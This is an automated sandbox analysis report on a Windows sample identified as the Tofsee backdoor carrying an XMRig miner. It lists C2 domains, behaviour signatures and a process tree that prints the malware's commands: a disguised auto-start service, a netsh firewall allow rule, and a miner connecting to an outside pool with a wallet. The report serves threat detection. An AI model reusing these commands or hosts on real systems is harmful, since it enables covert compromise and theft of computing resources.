Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/01/2023, 23:58

General

  • Target
    file.exe
  • Size 300KB
  • Sample230106-3z5rpscc64
  • SHA256 a71d543ca8a14bb104f19c641d8c6ae5e0cf8f75a3edbf57d8c2423173d88336
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\logsvzoe\
      2⤵
        PID:4832
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gvjgzfbe.exe" C:\Windows\SysWOW64\logsvzoe\
        2⤵
          PID:1936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create logsvzoe binPath= "C:\Windows\SysWOW64\logsvzoe\gvjgzfbe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description logsvzoe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start logsvzoe
          2⤵
          • Launches sc.exe
          PID:4772
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1152 -s 1044
          2⤵
          • Program crash
          PID:1008
      • C:\Windows\SysWOW64\logsvzoe\gvjgzfbe.exe
        C:\Windows\SysWOW64\logsvzoe\gvjgzfbe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4960
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 532
          2⤵
          • Program crash
          PID:1940
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1152 -ip 1152
        1⤵
          PID:3360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4960 -ip 4960
          1⤵
            PID:3816
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k netsvcs -p
            1⤵
            • Drops file in System32 directory
            • Checks processor information in registry
            • Enumerates system info in registry
            PID:2240

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                gvjgzfbe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\gvjgzfbe.exe
                • Size 13.2MB
                • SHA256 22a7587ccd1a06e22b9c79c8c1704c4c589ad1211a48924623ec8a9ad345e5aa
                • MD5 SHA1 SHA512 SSDEEP

                gvjgzfbe.exe

                • Path C:\Windows\SysWOW64\logsvzoe\gvjgzfbe.exe
                • Size 13.2MB
                • SHA256 22a7587ccd1a06e22b9c79c8c1704c4c589ad1211a48924623ec8a9ad345e5aa
                • MD5 SHA1 SHA512 SSDEEP

                memory/808-177-0x0000000000270000-0x0000000000361000-memory.dmp

                memory/808-172-0x0000000000270000-0x0000000000361000-memory.dmp

                memory/1152-133-0x0000000002D80000-0x0000000002D93000-memory.dmp

                memory/1152-134-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/1152-144-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/1152-132-0x0000000002F9D000-0x0000000002FB3000-memory.dmp

                memory/1152-143-0x0000000002F9D000-0x0000000002FB3000-memory.dmp

                memory/4496-159-0x0000000001B20000-0x0000000001B30000-memory.dmp

                memory/4496-165-0x0000000007340000-0x000000000774B000-memory.dmp

                memory/4496-168-0x00000000029D0000-0x00000000029D7000-memory.dmp

                memory/4496-150-0x00000000005A0000-0x00000000005B5000-memory.dmp

                memory/4496-146-0x00000000005A0000-0x00000000005B5000-memory.dmp

                memory/4496-152-0x00000000005A0000-0x00000000005B5000-memory.dmp

                memory/4496-153-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/4496-156-0x0000000001B10000-0x0000000001B16000-memory.dmp

                memory/4496-162-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

                memory/4960-151-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/4960-149-0x0000000002E39000-0x0000000002E4E000-memory.dmp